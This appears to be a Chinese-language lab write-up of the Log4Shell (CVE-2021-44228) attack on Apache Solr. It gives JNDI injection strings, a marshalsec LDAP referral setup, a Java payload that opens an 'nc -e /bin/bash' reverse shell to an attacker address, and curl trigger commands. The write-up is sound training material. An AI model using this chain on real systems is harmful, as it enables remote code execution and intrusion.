SugarCrash!

记录学习,想找个师傅带带我

0%

Log4j复现

影响 Java 日志记录包**log4j**

这个漏洞的绝对危险是由于日志包无处不在。数以百万计的应用程序和软件提供商使用这个包作为他们自己代码中的依赖项。

侦查

nmap -v -p- 10.10.153.208

发现apache solr

发现

Apache Solr 8.11.0
这是已知包含此易受攻击**log4j**程序包的软件示例之一。为了展示此漏洞,该应用程序在 Java 1.8.0_181 上运行。


日志文件中发现在对一个url端点重复请求
solr.log /admin/cores params

概念证明

访问日志中的路径

您还注意到它**params** 似乎包含在日志文件中。此时,您可能已经开始看到攻击向量了。

log4j 包通过“解析”条目为日志添加额外的逻辑,最终丰富数据——但可能额外采取行动,甚至根据条目数据评估代码。这是 CVE-2021-44228 的要点。其他语法实际上可能在输入日志文件时 执行。

这种语法的一些例子是:

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

利用这一点的常用语法格式如下所示:
**${jndi:ldap://ATTACKERCONTROLLEDHOST}**
注意**ldap://**架构。这表明目标将通过 LDAP 协议到达端点

下一个问题是,我们可以在哪里输入这个语法?

任何有应用程序记录的数据的地方。

这就是这个漏洞的症结所在。不幸的是,很难确定不同应用程序的攻击面在哪里,因此,哪些 应用程序实际上是易受攻击的。仅仅看到 log4j 文件的存在并不能了解确切的版本号,甚至无法了解应用程序可能在何处或如何使用该包。

回想之前的任务。您已经发现可以提供paramsURL /solr/admin/cores,并且现在您对 log4j 的工作原理有了更好的理解,您应该明白_这_ 是您提供注入语法的地方。您可以简单地提供HTTP GET 变量或参数,然后由 log4j 处理和解析。所需要的只是这一行文本——这使得这个漏洞非常容易被利用。

您可能会提供此 JNDI 语法的其他位置:

  • 输入框、用户和密码登录表单、应用程序内的数据输入点
  • HTTP标头,例如User-Agent,X-Forwarded-For或其他可自定义的标头
  • 用户提供数据的任何地方

起监听

1
C:\root> nc -lnvp 4444
1
curl 'http://10.10.153.208:8983/solr/admin/cores?foo=$\{jndi:ldap://10.13.40.87:9999\}'

搭建LDAP

我们将利用开源和公共实用程序来搭建“ LDAP 推荐服务器”。这将用于实质上将受害者的初始请求重定向到另一个位置,在那里您可以托管一个辅助有效负载,该有效负载最终将在目标上运行代码。这分解如下:

  1. ${jndi:ldap://attackerserver:1389/Resource}-> 联系我们的 LDAP 推荐服务器
  2. LDAP 推荐服务器将请求跳板到辅助服务器http://attackerserver/resource
  3. 受害者检索并执行存在于 http://attackerserver/resource

本地安装java 8
https://github.com/mbechler/marshalsec 下载安装

我们必须使用 Java builder maven 构建 marshalsec。 如果您的系统上还没有 maven,您可以 通过包管理器安装它
sudo apt install maven

运行命令构建marshalsec实用程序

1
attackbox@tryhackme:~/root/Rooms/solar/marshalsec$ mvn clean package -DskipTests

启动LDAP服务器

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"


创建java漏洞利用payload

1
2
3
4
5
6
7
8
9
public class Exploit 
{ static
{ try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

编译java漏洞利用代码

1
javac Exploit.java -source 8 -target 8

启动临时HTTP服务器来托管它。

1
python3 -m http.server

您的有效负载已创建和编译,它在一个终端中由HTTP服务器托管,您的 LDAP 引用服务器已启动并在另一个终端中等待——接下来准备一个 netcat 侦听器以在另一个新的终端窗口中捕获您的反向 shell:

1
nc -lnvp 9999

最后,剩下要做的就是触发漏洞利用并触发我们的 JNDI 语法!注意端口号(现在指的是我们的 LDAP 服务器)和我们检索的资源的变化,指定我们的漏洞利用:

1
curl 'http://10.10.153.208:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'